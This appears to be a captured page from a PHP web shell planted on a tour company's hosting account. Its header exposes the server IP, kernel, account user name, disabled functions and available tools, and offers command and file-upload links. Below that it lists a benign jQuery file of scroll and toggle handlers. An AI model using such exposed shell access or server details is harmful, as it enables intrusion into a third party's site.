Server IP : 162.214.80.37 / Your IP : 216.73.216.83 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/imyrqtmy/public_html/tourdepart/js/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
$(window).scroll(function() { if ($(this).scrollTop() > 50) { } }); //missing ); $(window).scroll(function() { var scroll = $(window).scrollTop(); //>=, not <= if (scroll <= 500) { //clearHeader, not clearheader - caps H $(".navcolor1").removeClass("navcolor1").addClass("navcolor"); $(".btnnew1").removeClass("btnnew1").addClass("btnnew"); } }); //missing ); $(window).scroll(function(){ if($(this).scrollTop()>50) { $('.logo img').attr('src','images/logo2-removebg-preview.png'); $(".navcolor").addClass("navcolor1"); $(".btnnew").addClass("btnnew1"); } else { $('.logo img').attr('src','images/Yatra-01.png'); } }) $(document).on('click', '.box', function() { var x = document.getElementById("myDIV"); if (x.style.display === "none") { x.style.display = "block"; } else { x.style.display = "none"; } }) $(document).on('click', '.box1', function() { var x = document.getElementById("myDIV1"); if (x.style.display === "none") { x.style.display = "block"; } else { x.style.display = "none"; } }) $(document).on('click', '.box2', function() { var x = document.getElementById("myDIV2"); if (x.style.display === "none") { x.style.display = "block"; } else { x.style.display = "none"; } }) $(document).on('click', '.box3', function() { var x = document.getElementById("myDIV3"); if (x.style.display === "none") { x.style.display = "block"; } else { x.style.display = "none"; } }) $(document).on('click', '.box4', function() { var x = document.getElementById("myDIV4"); if (x.style.display === "none") { x.style.display = "block"; } else { x.style.display = "none"; } }) $(document).on('click', '.box5', function() { var x = document.getElementById("myDIV5"); if (x.style.display === "none") { x.style.display = "block"; } else { x.style.display = "none"; } }) $(document).on('click', '.box6', function() { var x = document.getElementById("myDIV6"); if (x.style.display === "none") { x.style.display = "block"; } else { x.style.display = "none"; } }) $(document).on('click', '.box7', function() { var x = document.getElementById("myDIV7"); if (x.style.display === "none") { x.style.display = "block"; } else { x.style.display = "none"; } }) $(document).on('click', '.box8', function() { var x = document.getElementById("myDIV8"); if (x.style.display === "none") { x.style.display = "block"; } else { x.style.display = "none"; } }) $(document).on('click', '.box9', function() { var x = document.getElementById("myDIV9"); if (x.style.display === "none") { x.style.display = "block"; } else { x.style.display = "none"; } })